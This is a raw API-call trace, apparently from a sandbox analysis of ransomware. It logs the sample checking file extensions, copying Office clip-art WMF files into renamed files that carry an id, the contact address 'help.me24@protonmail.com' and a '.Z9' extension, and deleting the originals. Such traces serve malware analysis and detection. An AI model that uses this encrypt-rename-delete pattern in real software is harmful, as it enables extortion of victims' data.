	[0184.664] lstrlenW (lpString=".rar") returned 4
	[0184.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString=".bz2") returned 4
	[0184.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString=".7z") returned 3
	[0184.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.664] lstrlenW (lpString=".dbf") returned 4
	[0184.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.664] lstrlenW (lpString=".1cd") returned 4
	[0184.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.664] lstrlenW (lpString=".jpg") returned 4
	[0184.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.664] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.664] lstrlenW (lpString="J0152606.WMF") returned 12
	[0184.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0184.679] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16632) returned 1
	[0184.679] CloseHandle (hObject=0x460) returned 1
	[0184.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220
	[0184.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0184.682] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.682] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0184.683] GetLastError () returned 0x0
	[0184.683] ReadFile (in: hFile=0x460, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x40f8, lpOverlapped=0x0) returned 1
	[0184.686] WriteFile (in: hFile=0x53c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4100, lpOverlapped=0x0) returned 1
	[0184.687] ReadFile (in: hFile=0x460, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.687] WriteFile (in: hFile=0x53c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.687] SetEndOfFile (hFile=0x53c) returned 1
	[0184.687] CloseHandle (hObject=0x53c) returned 1
	[0184.687] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.687] SetEndOfFile (hFile=0x460) returned 1
	[0184.690] CloseHandle (hObject=0x460) returned 1
	[0184.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1
	[0184.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.692] lstrlenW (lpString=".doc") returned 4
	[0184.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString=".docx") returned 5
	[0184.692] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0184.692] lstrlenW (lpString=".pdf") returned 4
	[0184.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString=".xls") returned 4
	[0184.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.692] lstrlenW (lpString=".xlsx") returned 5
	[0184.692] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0184.692] lstrlenW (lpString=".ppt") returned 4
	[0184.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.692] lstrlenW (lpString=".zip") returned 4
	[0184.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.692] lstrlenW (lpString=".rar") returned 4
	[0184.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString=".bz2") returned 4
	[0184.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString=".7z") returned 3
	[0184.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.692] lstrlenW (lpString=".dbf") returned 4
	[0184.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".1cd") returned 4
	[0184.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".jpg") returned 4
	[0184.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".doc") returned 4
	[0184.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString=".docx") returned 5
	[0184.693] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0184.693] lstrlenW (lpString=".pdf") returned 4
	[0184.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString=".xls") returned 4
	[0184.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.693] lstrlenW (lpString=".xlsx") returned 5
	[0184.693] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0184.693] lstrlenW (lpString=".ppt") returned 4
	[0184.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".zip") returned 4
	[0184.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.693] lstrlenW (lpString=".rar") returned 4
	[0184.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString=".bz2") returned 4
	[0184.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString=".7z") returned 3
	[0184.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".dbf") returned 4
	[0184.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".1cd") returned 4
	[0184.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0184.693] lstrlenW (lpString=".jpg") returned 4
	[0184.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.694] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.694] lstrlenW (lpString="J0152610.WMF") returned 12
	[0184.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0184.697] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5960) returned 1
	[0184.697] CloseHandle (hObject=0x53c) returned 1
	[0184.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220
	[0184.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0184.698] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.698] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.699] GetLastError () returned 0x0
	[0184.699] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1748, lpOverlapped=0x0) returned 1
	[0184.702] WriteFile (in: hFile=0x37c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0184.703] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.703] WriteFile (in: hFile=0x37c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.703] SetEndOfFile (hFile=0x37c) returned 1
	[0184.704] CloseHandle (hObject=0x37c) returned 1
	[0184.704] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.704] SetEndOfFile (hFile=0x53c) returned 1
	[0184.706] CloseHandle (hObject=0x53c) returned 1
	[0184.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1
	[0184.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.708] lstrlenW (lpString=".doc") returned 4
	[0184.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.708] lstrlenW (lpString=".docx") returned 5
	[0184.708] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.708] lstrlenW (lpString=".pdf") returned 4
	[0184.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.708] lstrlenW (lpString=".xls") returned 4
	[0184.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.708] lstrlenW (lpString=".xlsx") returned 5
	[0184.708] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.708] lstrlenW (lpString=".ppt") returned 4
	[0184.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.708] lstrlenW (lpString=".zip") returned 4
	[0184.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.708] lstrlenW (lpString=".rar") returned 4
	[0184.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.708] lstrlenW (lpString=".bz2") returned 4
	[0184.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString=".7z") returned 3
	[0184.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString=".dbf") returned 4
	[0184.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString=".1cd") returned 4
	[0184.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString=".jpg") returned 4
	[0184.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString=".doc") returned 4
	[0184.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString=".docx") returned 5
	[0184.709] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.709] lstrlenW (lpString=".pdf") returned 4
	[0184.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString=".xls") returned 4
	[0184.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.709] lstrlenW (lpString=".xlsx") returned 5
	[0184.709] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.709] lstrlenW (lpString=".ppt") returned 4
	[0184.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.709] lstrlenW (lpString=".zip") returned 4
	[0184.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.709] lstrlenW (lpString=".rar") returned 4
	[0184.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString=".bz2") returned 4
	[0184.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.709] lstrlenW (lpString=".7z") returned 3
	[0184.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.710] lstrlenW (lpString=".dbf") returned 4
	[0184.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.710] lstrlenW (lpString=".1cd") returned 4
	[0184.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0184.710] lstrlenW (lpString=".jpg") returned 4
	[0184.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.710] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.710] lstrlenW (lpString="J0152622.WMF") returned 12
	[0184.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.713] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=9604) returned 1
	[0184.713] CloseHandle (hObject=0x37c) returned 1
	[0184.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220
	[0184.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.714] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.714] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0184.715] GetLastError () returned 0x0
	[0184.715] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2584, lpOverlapped=0x0) returned 1
	[0184.779] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0184.780] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.780] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.780] SetEndOfFile (hFile=0x538) returned 1
	[0184.780] CloseHandle (hObject=0x538) returned 1
	[0184.780] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.781] SetEndOfFile (hFile=0x37c) returned 1
	[0184.783] CloseHandle (hObject=0x37c) returned 1
	[0184.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString=".doc") returned 4
	[0184.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString=".docx") returned 5
	[0184.958] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.958] lstrlenW (lpString=".pdf") returned 4
	[0184.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString=".xls") returned 4
	[0184.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.958] lstrlenW (lpString=".xlsx") returned 5
	[0184.958] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.958] lstrlenW (lpString=".ppt") returned 4
	[0184.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString=".zip") returned 4
	[0184.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.958] lstrlenW (lpString=".rar") returned 4
	[0184.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString=".bz2") returned 4
	[0184.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString=".7z") returned 3
	[0184.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString=".dbf") returned 4
	[0184.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString=".1cd") returned 4
	[0184.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.958] lstrlenW (lpString=".jpg") returned 4
	[0184.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.959] lstrlenW (lpString=".doc") returned 4
	[0184.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString=".docx") returned 5
	[0184.959] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.959] lstrlenW (lpString=".pdf") returned 4
	[0184.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString=".xls") returned 4
	[0184.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.959] lstrlenW (lpString=".xlsx") returned 5
	[0184.959] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.959] lstrlenW (lpString=".ppt") returned 4
	[0184.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0184.959] lstrlenW (lpString=".zip") returned 4
